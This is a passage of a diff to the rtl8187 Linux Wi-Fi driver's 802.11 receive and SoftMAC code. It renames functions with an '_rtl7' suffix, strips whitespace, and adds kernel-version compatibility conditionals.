-436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct 